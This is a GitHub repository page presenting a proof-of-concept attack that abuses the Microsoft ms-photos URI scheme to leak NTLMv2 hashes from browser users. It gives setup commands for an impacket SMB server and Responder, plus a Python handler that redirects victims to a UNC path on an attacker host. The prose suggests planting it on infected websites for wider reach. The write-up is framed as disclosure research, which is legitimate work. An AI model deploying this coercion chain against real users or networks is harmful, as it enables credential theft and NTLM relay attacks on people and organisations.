GitHunt
WA

wackymaker/ms-photos_NTLM_Leak

New 0 day vulnerability allowing to leak NTLM hashes from browsers with one click

Microsoft ms-photos URI NTLM Leak

New vulnerability allowing to leak NTLM hashes from browsers with one click

By Ruben Enkaoua



Description


The Microsoft ms-photos URI scheme takes fileName as parameter, which can be submitted with a UNC path, leaking NTLMv2-SSP hashes one opened. By crafting a specially formatted link, an attacker can coerce a victim into launching the Microsoft Photos app directly from a browser. When triggered, this behavior results in the leakage of the victim’s NTLMv2-SSP hash to an attacker-controlled server. This issue enables credential exposure and potential relay attacks in enterprise environments, requiring only minimal user interaction (Opening the App). Microsoft didn't recognize the vulnerability and no CVE was issued. Also, I was inspired by the Syss blog from 2022.

Since the NTLMv2-SSP challenge can be leaked to public-facing UNC paths (except if an outbound SMB/445 firewall rule is set), the vulnerability can be combined to websites infections, leading to supply-chain attacks.

From MSDN Documentation about the URI scheme we can find the following:


image


Steps to reproduce


Open the smb server

# With a picture: Opens the photo on the target with photos.exe
# Without a picture: Nothing, no photos.exe process window 
impacket-smbserver share . -smb2support

Start the malicious python server

# Edit first the information about the IP, share, and filename for UNC coercing. 
python3 ms-photos-server.py

Browse to the location

Open chrome and navigate to /test


poc


Also, it can be done with responder. Any unresolved domains issuing a LLMNR request will be redirected to the script, allowing to coerce any user instead of popping up a NTLM user/password auth window.
To make it work, run the script first and then the responder.


poc2


It works because our application is redirecting directly to a ms-photos URI scheme, containing the UNC path of our server:


class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/":
            self.send_response(302)  # HTTP 302 Found (temporary redirect)
            self.send_header('Location', 'ms-photos:viewer?fileName=\\\\192.168.159.129\\share\\Capture.png')
            self.end_headers()
        else:
            self.send_response(404)
            self.end_headers()
            self.wfile.write(b"Not Found")

Redirection from client side:


image


Notes


This code is for educational and research purposes only.
The author takes no responsibility for any misuse of this code.

Languages

Python100.0%

Contributors

BSD 3-Clause "New" or "Revised" License
Created December 15, 2025
Updated December 15, 2025